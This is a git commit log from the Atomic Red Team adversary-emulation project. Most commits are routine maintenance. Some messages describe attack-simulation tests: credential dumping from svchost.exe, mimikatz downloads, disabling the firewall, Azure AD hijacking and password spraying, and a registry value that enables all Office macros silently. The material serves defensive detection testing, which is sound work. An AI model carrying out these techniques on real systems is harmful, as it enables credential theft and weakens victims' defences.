Jose Enrique Hernandez 558511b6a8 Merge pull request #1583 from redcanaryco/art.io-html-update
Update default.html
2021-08-02 11:34:23 -04:00
Adam Mashinchi ed55dd5e79 Update default.html
Update the html with the new ART.io pages.
2021-08-02 08:26:28 -07:00
Adam Mashinchi e98b48fd00 Merge pull request #1580 from amashinchi-rc/art.io-update
Art.io update
2021-08-02 08:17:13 -07:00
Adam Mashinchi e028fe408a Merge branch 'master' into art.io-update 2021-08-02 08:07:29 -07:00
CircleCI Atomic Red Team doc generator b994e94e40 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-30 23:02:02 +00:00
Carrie Roberts 51f463605c update mimikatz download URL (#1576) 2021-07-30 17:01:31 -06:00
CircleCI Atomic Red Team doc generator c5d92e8cc0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-30 23:00:49 +00:00
Carrie Roberts 9bf1327611 fix cleanup command (#1575) 2021-07-30 17:00:00 -06:00
CircleCI Atomic Red Team doc generator 67c6569748 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-30 22:58:17 +00:00
Carrie Roberts fe4485d818 add domain joined check (#1577) 2021-07-30 16:57:50 -06:00
Adam Mashinchi ad0e9c4a23 Update index.md
Typo fix.
2021-07-30 11:33:52 -07:00
Adam Mashinchi 7f003a6793 Update atomictestharnesses.md
Word choice changes.
2021-07-30 11:33:21 -07:00
Adam Mashinchi c09ef914ff Update atomicredteam.md
Typo/fix update
2021-07-30 11:32:06 -07:00
amashinchi-rc 2f5b76d5f8 Add new pages. 2021-07-30 10:39:24 -07:00
amashinchi-rc 57d2b18234 Revise website markdown files. Remove unused pages. 2021-07-30 10:38:09 -07:00
amashinchi-rc 48227b67b9 Add local copies of images. 2021-07-30 10:36:17 -07:00
amashinchi-rc 6aef1c1512 Updated/fixed roll-the-dice for when no test is found. 2021-07-30 10:34:52 -07:00
CircleCI Atomic Red Team doc generator 484a04c7ac Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-29 17:03:14 +00:00
Josh Rickard 1a2a51decc T1552.007 - Updated dependencies in ListSecrets test (#1559)
* T1552.007 - Updated dependencies in ListSecrets test

Updated dependencies in ListSecrets test

* Trying to fix space for CI to pass

Trying to fix space for CI to pass

* update wording

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-29 11:02:49 -06:00
CircleCI Atomic Red Team doc generator 6bd522644a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-28 22:27:19 +00:00
CircleCI Atomic Red Team GUID generator fa11adb617 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-28 22:27:13 +00:00
lexiechong 63d97dad98 Update T1105 to include file download using finger (#1578) 2021-07-28 16:26:54 -06:00
biot 9372e962e7 added guid's back in 2021-07-28 12:42:14 +01:00
CircleCI Atomic Red Team doc generator a3e16e194f Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 23:27:33 +00:00
Austin Songer 8425489f5c Spelling Typo - priviliges to privileges (#1573)
* Update windows-index.md

* Update T1078.001.yaml

* Update T1078.003.yaml

* Update windows-index.md

* Update windows-index.md
2021-07-27 17:27:03 -06:00
CircleCI Atomic Red Team doc generator c28cc3892f Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 19:38:22 +00:00
Josh Rickard ad36ae0b0f T1609 - Updated dependencies (#1554)
* T1609 - Updated dependencies

Moved prereq_command under dependencies like other tests

* Update T1609.yaml

* update wording

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-27 13:37:46 -06:00
CircleCI Atomic Red Team doc generator f178e0054f Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 19:35:12 +00:00
Josh Rickard ea2623b587 T1543.001 - Renamed cleanup key to cleanup_command (#1556)
Renamed cleanup key to cleanup_command

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-27 13:34:36 -06:00
CircleCI Atomic Red Team doc generator 8a54e19ab7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 19:15:57 +00:00
Josh Rickard 7b119860c5 T1547.007 - Changed cleanup key to cleanup_command (#1557)
Changed cleanup key to cleanup_command

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-27 13:15:27 -06:00
CircleCI Atomic Red Team doc generator db26ebc7ff Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 19:11:56 +00:00
Josh Rickard 5c6c6206cb T1053.007 - Updated dependencies and prereqs (#1558)
* T1053.007 - Updated dependencies and prereqs

Updated dependencies and prereqs

* update wording

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-27 13:11:21 -06:00
Carrie Roberts 34d98d07cb Merge branch 'master' into fix/T1222.002 2021-07-27 12:27:28 -06:00
Adam Mashinchi eb84927b5f Update default.html (#1572)
Update Slack URL
2021-07-27 12:16:38 -06:00
CircleCI Atomic Red Team doc generator f0bdf22da1 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 16:57:49 +00:00
Adam Mashinchi 2b37a9d00c Merge pull request #1545 from redcanaryco/platform-change-T1611
Update Platform in T1611 to "containers"
2021-07-27 09:57:25 -07:00
Adam Mashinchi d564421bb9 Merge branch 'master' into platform-change-T1611 2021-07-27 09:56:52 -07:00
CircleCI Atomic Red Team doc generator 33f020e2a3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 16:56:42 +00:00
Adam Mashinchi 693ebd5505 Merge branch 'master' into platform-change-T1611 2021-07-27 09:56:28 -07:00
Adam Mashinchi 27f18797e0 Merge pull request #1546 from redcanaryco/change-kubectl-platform-to-containers
Convert 'kubectl' tests to "Containers" as Platform
2021-07-27 09:56:08 -07:00
Adam Mashinchi df38ea6107 Merge branch 'master' into change-kubectl-platform-to-containers 2021-07-27 09:55:33 -07:00
CircleCI Atomic Red Team doc generator 10814fa2e8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 16:55:23 +00:00
CircleCI Atomic Red Team GUID generator 60afb02843 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 16:55:16 +00:00
Adam Mashinchi 0f47184255 Merge pull request #1571 from redcanaryco/amashinchi-rc-patch-1
Added example to T1218.005 without network call
2021-07-27 09:54:50 -07:00
Adam Mashinchi be9654c22f Merge branch 'master' into amashinchi-rc-patch-1 2021-07-27 09:54:19 -07:00
CircleCI Atomic Red Team doc generator 8afe7ccfd9 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 15:31:46 +00:00
CircleCI Atomic Red Team GUID generator a8dc0e3b07 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 15:31:40 +00:00
tlor89 99335067a3 T1219_Update (#1566)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-27 09:31:11 -06:00
CircleCI Atomic Red Team doc generator fa1709c415 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 15:25:46 +00:00
CircleCI Atomic Red Team GUID generator 5f79e55dd6 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 15:25:40 +00:00
tlor89 e4b9e082e9 T1059.001_Update (#1564)
* T1059.001_Update

* Update T1059.001.yaml

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-27 09:25:16 -06:00
Adam Mashinchi 680236082c Merge branch 'master' into amashinchi-rc-patch-1 2021-07-27 07:52:52 -07:00
CircleCI Atomic Red Team doc generator 60fab6394a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 14:49:54 +00:00
CircleCI Atomic Red Team GUID generator e258cdf9f1 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 14:49:47 +00:00
Adam Mashinchi 1de3dd9eee Merge branch 'master' into amashinchi-rc-patch-1 2021-07-27 07:49:43 -07:00
Adam Mashinchi 4b51206aab Merge pull request #1567 from redcanaryco/T1027-obfuscated-powershell
Update T1027.yaml
2021-07-27 07:49:19 -07:00
Adam Mashinchi 1496e7bbcc Merge branch 'master' into T1027-obfuscated-powershell 2021-07-27 07:47:37 -07:00
CircleCI Atomic Red Team doc generator 29a063b40b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 14:47:14 +00:00
CircleCI Atomic Red Team GUID generator e2cbd60596 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 14:47:07 +00:00
Adam Mashinchi cc530f1d00 Merge branch 'master' into T1027-obfuscated-powershell 2021-07-27 07:46:37 -07:00
Adam Mashinchi 12843c96cf Merge pull request #1568 from redcanaryco/T1059.001-obfuscated-powershell
Add obfuscated PowerShell to T1059.001
2021-07-27 07:46:22 -07:00
Adam Mashinchi e6009bdbb3 Merge branch 'master' into T1059.001-obfuscated-powershell 2021-07-27 07:45:02 -07:00
CircleCI Atomic Red Team doc generator 1d8ca6c672 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 14:44:55 +00:00
CircleCI Atomic Red Team GUID generator 5e1b13f76f Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 14:44:49 +00:00
Adam Mashinchi e787817cf8 Merge branch 'master' into T1059.001-obfuscated-powershell 2021-07-27 07:44:28 -07:00
Adam Mashinchi b6c3dd4714 Merge pull request #1569 from redcanaryco/T1059.003-suspicious-execution
Add Suspicious Execution to T1059.003
2021-07-27 07:44:14 -07:00
Adam Mashinchi 48c159d3ea Merge branch 'master' into T1059.003-suspicious-execution 2021-07-27 07:43:27 -07:00
CircleCI Atomic Red Team doc generator 5956ac532b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 14:42:34 +00:00
Adam Mashinchi 54f1913243 Merge branch 'master' into T1059.003-suspicious-execution 2021-07-27 07:42:29 -07:00
CircleCI Atomic Red Team GUID generator d55b581331 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-27 14:42:28 +00:00
Adam Mashinchi 3b350cf553 Merge pull request #1570 from redcanaryco/T1105-additional-powershell-example
Additional PowerShell Download in T1105
2021-07-27 07:42:00 -07:00
Matt Graeber 0960fca14e Update T1059.001.yaml
Removing extra space in line 379
2021-07-27 09:47:29 -04:00
Bhavin Patel 8a87508ccd Merge branch 'master' into platform-change-T1611 2021-07-26 15:14:33 -07:00
Adam Mashinchi 2a3885fb14 Added example to T1218.005 without network call 2021-07-26 13:08:40 -07:00
Adam Mashinchi e8899b4df6 Additional PowerShell Download in T1105 2021-07-26 13:00:42 -07:00
Adam Mashinchi 64966be2fd Add Suspicious Execution to T1059.003 2021-07-26 12:57:10 -07:00
Adam Mashinchi ba20bcd95a Add obfuscated PowerShell to T1059.001
Additional obfuscated PowerShell example.
2021-07-26 12:52:18 -07:00
Adam Mashinchi 189ae94750 Update T1027.yaml
Added additional obfuscated PowerShell example.
2021-07-26 12:46:41 -07:00
biot 61e63128be fixed user_account 2021-07-22 14:35:54 +01:00
biot a8288151db removed blank lines 2021-07-21 17:46:15 +01:00
biot 244536527b fix typo 2021-07-21 17:40:24 +01:00
sc0o da81e35786 fix(T1222.002): recursive chmod and chown for macos 2021-07-21 16:43:18 +02:00
biot 2947b8d3da T1056.001 2021-07-20 23:46:53 +01:00
Thomas Gardner 84b812aff1 Merge branch 'master' into t1140_extended 2021-07-19 15:48:07 -06:00
CircleCI Atomic Red Team doc generator 4ab80721ac Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-19 21:21:58 +00:00
Josh Rickard 9d2212bd20 T1543.004 - Updated cleanup key (#1553)
Updated the key `cleanup` to `cleanup_command` to conform to other tests.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-19 15:21:15 -06:00
CircleCI Atomic Red Team doc generator 0f8eb34b74 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-19 21:20:24 +00:00
Josh Rickard 842a5df879 T1056.001 - Updating dependencies (#1555)
* T1056.001 - Updating dependencies

Moved `prereq_command` and `get_prereq_command` under dependencies to conform to other tests

* white space correction

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-19 15:19:59 -06:00
Adam Mashinchi b402f11979 Update the README as per Wiki Update (#1550)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-19 15:15:04 -06:00
CircleCI Atomic Red Team doc generator 6f2bf060fb Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-19 20:51:52 +00:00
Josh Rickard df34cadff9 T1135 - Fixed key name in executor test (#1552)
* Fixed key name of `elevation_require` to `elevation_required`
2021-07-19 14:51:21 -06:00
CircleCI Atomic Red Team doc generator 4af8bae9f4 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-14 17:14:29 +00:00
CircleCI Atomic Red Team GUID generator 1f82f6af1f Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-14 17:14:23 +00:00
Jay_darknight d42bda32a1 Dump svchost.exe to gather RDP plaintext credential (#1551) 2021-07-14 11:13:59 -06:00
dependabot[bot] 223584b41f Bump addressable from 2.7.0 to 2.8.0 (#1549)
Bumps [addressable](https://github.com/sporkmonger/addressable) from 2.7.0 to 2.8.0.
- [Release notes](https://github.com/sporkmonger/addressable/releases)
- [Changelog](https://github.com/sporkmonger/addressable/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sporkmonger/addressable/compare/addressable-2.7.0...addressable-2.8.0)

---
updated-dependencies:
- dependency-name: addressable
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-07-13 12:13:33 -06:00
CircleCI Atomic Red Team doc generator d50e69b5c8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-09 15:35:13 +00:00
Carrie Roberts 79e706f2df fix cleanup cmd as per issue #1543 (#1548) 2021-07-09 09:34:32 -06:00
CircleCI Atomic Red Team doc generator b51f415e30 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-08 17:23:38 +00:00
CircleCI Atomic Red Team GUID generator 6c2c28f497 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-08 17:23:32 +00:00
Clément Notin 2411b36008 T1098.001: implement AAD application hijacking tests (#1454)
* T1098.001: implement AAD application hijacking tests

Create Azure AD Application Hijacking Tests

* T1098.001 : add end of test string

* T1098.001: use new "azure-ad" platform

* T1098.001: use new "azure-ad" platform

* Update T1098.001.yaml

* Update T1098.001.yaml

* Update T1098.001.yaml

Co-authored-by: piaconsigny <49986009+piaconsigny@users.noreply.github.com>
2021-07-08 11:23:05 -06:00
CircleCI Atomic Red Team doc generator 66bf3375ba Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-08 17:21:56 +00:00
CircleCI Atomic Red Team GUID generator 6036df88ac Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-08 17:21:50 +00:00
piaconsigny 62943530e9 T1110.001 azureadaccounts (#1482)
* T1110.001 azureadaccounts

* Update T1110.001.yaml

* Apply suggestion

* Remove typo

Co-authored-by: Clément Notin <cnotin@tenable.com>
2021-07-08 11:21:08 -06:00
Adam Mashinchi 8702d8e708 Update T1609.yaml 2021-07-07 14:52:38 -07:00
Adam Mashinchi 9d2dc1db4d Update T1552.007.yaml 2021-07-07 14:52:18 -07:00
Adam Mashinchi d99601f48a Update T1053.007.yaml 2021-07-07 14:49:06 -07:00
Adam Mashinchi c5b5f9ec70 Update Platform in T1611 to "containers"
Updating to reflect recent ATT&CK & Atomic-Red-Team "Platform" spec changes.
2021-07-07 11:15:45 -07:00
CircleCI Atomic Red Team doc generator 6f40c444af Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-07 17:38:50 +00:00
Clément Notin 1a4c4a97d2 Improve discoverability of "Active Directory" attacks (#1544) 2021-07-07 11:38:22 -06:00
CircleCI Atomic Red Team doc generator 412b05ad26 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-06 20:24:45 +00:00
CircleCI Atomic Red Team GUID generator 08b524ecf6 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-06 20:24:39 +00:00
Ayantaker 572f6e2fc5 Added a new test - XOR Encoded data to T1132.001 'Data Encoding: Standard Encoding (#1542)
* Added a new test - XOR Encoded data to T1132.001 'Data Encoding: Standard Encoding'

* change default url to example.com

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-07-06 14:24:19 -06:00
rctgardner 8b4022b877 added brace expansion to shell base64 test 2021-07-05 11:02:07 -06:00
CircleCI Atomic Red Team doc generator e54b5b1d48 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-02 17:00:00 +00:00
CircleCI Atomic Red Team GUID generator 155ba706b9 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-02 16:59:54 +00:00
Bhavin Patel e41d672ebe Merge pull request #1483 from AlsidOfficial/pr-passwordspraying-azure
T1110.003 azureadaccounts
2021-07-02 11:59:27 -05:00
piaconsigny 841c509aa0 Merge branch 'master' into pr-passwordspraying-azure 2021-07-02 09:49:07 -07:00
CircleCI Atomic Red Team doc generator 1e024d99ea Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-07-02 12:38:23 +00:00
Matt Graeber bb46c17c3c Merge pull request #1540 from clr2of8/mv-invoke-maldoc
moving invoke-maldoc into art repo
2021-07-02 08:37:52 -04:00
piaconsigny b62c0a024a Apply suggestion 2021-07-02 13:53:39 +02:00
piaconsigny 6f2f97ad74 Apply suggestion 2021-07-02 13:50:01 +02:00
Carrie Roberts c0e5117730 moving invoke-maldoc into art repo 2021-07-01 20:11:10 -06:00
Adam Mashinchi 78f6d1988f Add "Request Invite" next to Slack Link (#1538) 2021-06-29 11:15:51 -06:00
CircleCI Atomic Red Team doc generator 988716bc19 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-28 18:28:53 +00:00
Michael Haag e4f7f67202 Update T1197.yaml (#1535)
* Update T1197.yaml

Resolving #1459

* Update T1197.yaml

* Update T1197.yaml
2021-06-28 12:28:26 -06:00
biot 1b1eca7992 T1562.004 deleted 1 added 9 2021-06-28 17:49:21 +01:00
CircleCI Atomic Red Team doc generator 4375c6ca56 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-28 15:47:13 +00:00
CircleCI Atomic Red Team GUID generator 03c05404ae Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-28 15:47:07 +00:00
lexiechong 691982bbdb T1486-update (#1536)
Co-authored-by: Chong <lchong@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-28 09:46:45 -06:00
biot 4a3e27a7a3 T1562.004 deleted 1 added 9 2021-06-28 16:16:27 +01:00
CircleCI Atomic Red Team doc generator 2b4cf3f6a4 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-28 14:57:33 +00:00
Michael Haag f85d4a0d65 Update T1135.yaml (#1533)
Updated and confirmed operational. #1441

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-28 08:56:57 -06:00
rctgardner 1e812e17d8 added xxd dependency 2021-06-24 17:33:19 -06:00
rctgardner 24eda7e352 added hex decoding tests 2021-06-24 17:32:01 -06:00
rctgardner d89b22cff9 added printf to shell obfuscation 2021-06-24 16:54:45 -06:00
Bhavin Patel 6fd2ab5e38 Merge pull request #1534 from redcanaryco/T1218
Update Infdefaultinstall.inf
2021-06-24 16:42:14 -05:00
mhaag-spl d6e0adbfff Update Infdefaultinstall.inf
Updated and good to go! Resolving #1449
2021-06-24 15:36:34 -06:00
CircleCI Atomic Red Team doc generator 9da2cce734 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-24 21:05:35 +00:00
Bhavin Patel 96e68a6e42 Merge pull request #1532 from redcanaryco/t1110
Update T1110.001.yaml
2021-06-24 16:05:13 -05:00
mhaag-spl 248d2ed9cc Update T1110.001.yaml
Resolving #1423
2021-06-24 15:01:42 -06:00
CircleCI Atomic Red Team doc generator ca1e5786ed Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-24 20:45:11 +00:00
CircleCI Atomic Red Team GUID generator c77595d359 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-24 20:45:04 +00:00
Bhavin Patel fd47161006 AWS Cloud atomics (#1457)
* cloud atomics

* adding new platform names

* text and variable updates

* minor

* Update T1136.003.yaml

Co-authored-by: bpatel <bpatel@splunk.com>
Co-authored-by: Jose Enrique Hernandez <josehelps@gmail.com>
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-06-24 14:44:35 -06:00
CircleCI Atomic Red Team doc generator 36d49de4c8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-24 17:04:33 +00:00
Jose Enrique Hernandez 390bcd3796 Merge pull request #1531 from redcanaryco/clr2of8-patch-6
move guid under description in MD file and make bold
2021-06-24 13:03:53 -04:00
Jose Enrique Hernandez f16364ebf5 Merge branch 'master' into clr2of8-patch-6 2021-06-24 13:02:56 -04:00
CircleCI Atomic Red Team doc generator bedaf8bbd5 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-24 15:32:29 +00:00
Jose Enrique Hernandez d5c5979247 adding url md file for each atomic as a comment (#1530) 2021-06-24 09:31:51 -06:00
Carrie Roberts 157af0ce47 move guid under description in MD file and make bold 2021-06-24 09:24:23 -06:00
CircleCI Atomic Red Team doc generator 575b36a8e6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-24 15:16:54 +00:00
Jose Enrique Hernandez 221f3a6027 adding auto generated guids to the md files, closes issue 1501 (#1529) 2021-06-24 09:16:09 -06:00
CircleCI Atomic Red Team doc generator 8825813c53 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-23 16:31:41 +00:00
CircleCI Atomic Red Team GUID generator ee20a80a3d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-23 16:31:35 +00:00
tlor89 262f16a69f T1072 (#1527)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-23 10:31:11 -06:00
rctgardner 08412f4ec1 added file tests to python and perl too 2021-06-22 17:51:47 -06:00
rctgardner 57e18e6c84 T1140 added python, perl and sh base64 tests 2021-06-22 17:15:36 -06:00
Carrie Roberts e591a6b43b Merge branch 'master' into T1552.004_add_gnupg 2021-06-22 12:02:31 -06:00
CircleCI Atomic Red Team doc generator 722cc9a292 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-22 15:46:20 +00:00
Carrie Roberts 5b6f89f30f safer cleanup, correct filename (#1526) 2021-06-22 09:46:01 -06:00
biot 103efec49d added GnuPG to T1552.004_& tidyup 2021-06-22 16:33:13 +01:00
biot 795d6fee54 added GnuPG to T1552.004_& tidyup 2021-06-22 16:00:26 +01:00
biot 8ecc20c992 added GnuPG to T1552.004_& tidyup 2021-06-22 14:34:01 +01:00
CircleCI Atomic Red Team doc generator a0e012ee09 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-17 13:11:19 +00:00
Carrie Roberts 7a17072dd3 don't disable rdp during cleanup by default (#1523)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-06-17 07:10:51 -06:00
CircleCI Atomic Red Team doc generator e7e5779025 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-17 13:08:27 +00:00
Carrie Roberts 358d58bad5 add note about secure boot (#1524) 2021-06-17 07:07:56 -06:00
CircleCI Atomic Red Team doc generator 7e428d79d0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-16 21:38:51 +00:00
Carrie Roberts 388f671d93 name update (#1521)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-06-16 15:38:19 -06:00
CircleCI Atomic Red Team doc generator 532f4dc882 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-16 20:28:57 +00:00
adeliktas 2710d10531 T1566.001-1 download bugfixes (#1522)
* T1566.001-1 download bugfixes

* comment update

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-16 14:28:41 -06:00
CircleCI Atomic Red Team doc generator 88ad3fd322 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-16 18:41:22 +00:00
SecurityShrimp 42799b033d added TLS/SSL v1.2 enabling commands to any atomic test utilizing IWR (#1519)
* Update T1204.002.md

Added lines to each test using IWR for invoke-webrequest to set the acceptable TLS versions for the commands to complete successfully by prepending the tests with 

```[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12```

* Update T1555.yaml

added line to set ssl/tls version

* Update T1134.001.yaml

updated IWR lines to allow ssl/tls version 1.2

* Update T1069.002.yaml

added lines to every IWR instance to set ssl/tls version to 1.2

* Update T1558.003.yaml

added line to allow TLS/SSL 1.2

* Update T1033.yaml

added command to enable SSL/TLS v1.2

* Update T1055.012.yaml

added command to enable TLS/SSL v1.2

* Update T1115.yaml

Added command to enable SSL/TLS v1.2

* Update T1070.001.yaml

added command enabling SSL/TLS v 1.2

* Update T1564.yaml

added commands to enable SSL/TLS v 1.2

* Update T1566.001.yaml

added command to enable SSL/TLS V1.2

* Update T1135.yaml

added command to enable SSL/TLS v1.2

* Update T1055.yaml

added commands to enable TLS/SSL v 1.2

* Update T1110.003.yaml

added command to enable TLS/SSL v1.2

* Update T1003.yaml

Added command to enable TLS/SSL v1.2

* Update T1053.005.yaml

added command to enable TLS/SSL v1.2

* Update T1003.001.yaml

added commands to enable TLS/SSL v1.2 for any command using invoke-webrequest

* Update T1069.002.yaml

syntax correction

* Update T1134.001.yaml

syntax correction

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-16 12:41:04 -06:00
adeliktas 7e86e9a781 T1566.001-1 using default Browser via explorer.exe instead of chrome PhishingAttachment.xlsm (#1520) 2021-06-16 12:38:40 -06:00
CircleCI Atomic Red Team doc generator 1219378ebd Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-16 15:08:12 +00:00
CircleCI Atomic Red Team GUID generator 78bb39a82d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-16 15:08:05 +00:00
Carl ae4cea452f Merge pull request #1510 from rctgardner/t1105_whois
Added 'whois file download' test to T1105
2021-06-16 09:07:38 -06:00
Carl d0c0fe03dd Merge branch 'master' into t1105_whois 2021-06-16 09:07:07 -06:00
CircleCI Atomic Red Team doc generator c7125ac307 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-16 04:39:47 +00:00
BaffledJimmy 799ea20a95 Amend regkey path for Macro security level (#1515)
* Amend regkey path for Macro security level

As shown in this image - https://www.mdsec.co.uk/wp-content/uploads/2020/11/image-2-768x191.png.webp - the correct regkey is \Level\. The existing ```reg add``` syntax will not create a Level value with a DWORD of 4 (disable all).  Also changed the regkey to 1 (enable all macros without notif).

```
4 = Disable all macros without notification
3 = Notifications for digitally signed macros, all other macros disabled
2 = Notifications for all macros
1 = Enable all Macros
```

* Update T1137.yaml

* Update T1137.md
2021-06-15 22:39:17 -06:00
CircleCI Atomic Red Team doc generator 8a67b64944 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-15 15:50:23 +00:00
CircleCI Atomic Red Team GUID generator 62f0f37fc6 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-15 15:50:17 +00:00
BlueTeamOps 9f397c259c Added Disabling Firewall via Registry (#1516)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-15 09:49:55 -06:00
CircleCI Atomic Red Team doc generator a78c0ae822 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-15 15:46:52 +00:00
SecurityShrimp 7a73723a7b Update T1059.005.yaml (#1518)
added lines to enable TLS v 1.2

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-15 09:46:01 -06:00
CircleCI Atomic Red Team doc generator 84f9f9ffdd Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-15 15:45:23 +00:00
Jil Larner 871a3584b8 Fixed bug in script path (#1517)
The path was referring to T1595.002 instead of T1082, where the script resides. Due to the moved requested in #1320 and missed.
2021-06-15 09:44:48 -06:00
rctgardner 1531e9d3f0 fix t1105 indent 2021-06-11 15:26:30 -06:00
CircleCI Atomic Red Team doc generator ecc7d70057 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-11 20:04:40 +00:00
CircleCI Atomic Red Team GUID generator 130328dafc Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-11 20:04:34 +00:00
Carl dfbd9572e2 Merge pull request #1507 from rctgardner/t1036_005
T1036.005: Masquerading: Match Legitimate Name or Location
2021-06-11 14:04:12 -06:00
Carl 14f0926d64 Merge branch 'master' into t1036_005 2021-06-11 13:48:52 -06:00
